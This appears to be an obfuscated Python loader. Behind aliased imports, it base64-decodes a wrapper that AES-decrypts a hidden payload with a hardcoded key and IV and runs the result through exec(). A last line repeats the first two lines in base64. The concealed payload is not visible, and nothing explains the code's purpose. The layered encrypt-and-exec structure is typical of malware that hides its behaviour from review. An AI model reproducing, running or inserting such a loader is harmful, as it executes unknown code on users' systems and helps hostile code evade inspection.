from Crypto.Cipher import AES as CrbAqdoWIyChMEI;from base64 import b64decode as VwlaPKTC
exec(VwlaPKTC("ZXhlYyhDcmJBcWRvV0l5Q2hNRUkubmV3KCJneSxIOTROW2FhcDkkOVBmRzNpSnhWS3VtSm9lcyxXKCIsIENyYkFxZG9XSXlDaE1FSS5NT0RFX0NCQywgIklyUURxdm1KQWNBdG5mYlgiKS5kZWNyeXB0KFZ3bGFQS1RDKCJoTm0vcjJkTFpGc3Ryd044d0RHeTVNZG1UL0Q3TndDV0JHSS9kVkE4eDVRZmc5Wld2UG1Ib2RuT0ZSbzdoaVlBIikpLnJzdHJpcChiJ3snKSkK"))
ZnJvbSBDcnlwdG8uQ2lwaGVyIGltcG9ydCBBRVMgYXMgQ3JiQXFkb1dJeUNoTUVJO2Zyb20gYmFzZTY0IGltcG9ydCBiNjRkZWNvZGUgYXMgVndsYVBLVEMKZXhlYyhWd2xhUEtUQygiWlhobFl5aERjbUpCY1dSdlYwbDVRMmhOUlVrdWJtVjNLQ0puZVN4SU9UUk9XMkZoY0Rra09WQm1Sek5wU25oV1MzVnRTbTlsY3l4WEtDSXNJRU55WWtGeFpHOVhTWGxEYUUxRlNTNU5UMFJGWDBOQ1F5d2dJa2x5VVVSeGRtMUtRV05CZEc1bVlsZ2lLUzVrWldOeWVYQjBLRlozYkdGUVMxUkRLQ0pvVG0wdmNqSmtURnBHYzNSeWQwNDRkMFJIZVRWTlpHMVVMMFEzVG5kRFYwSkhTUzlrVmtFNGVEVlJabWM1V2xkMlVHMUliMlJ1VDBaU2J6ZG9hVmxCSWlrcExuSnpkSEpwY0NoaUozc25LU2tLIikp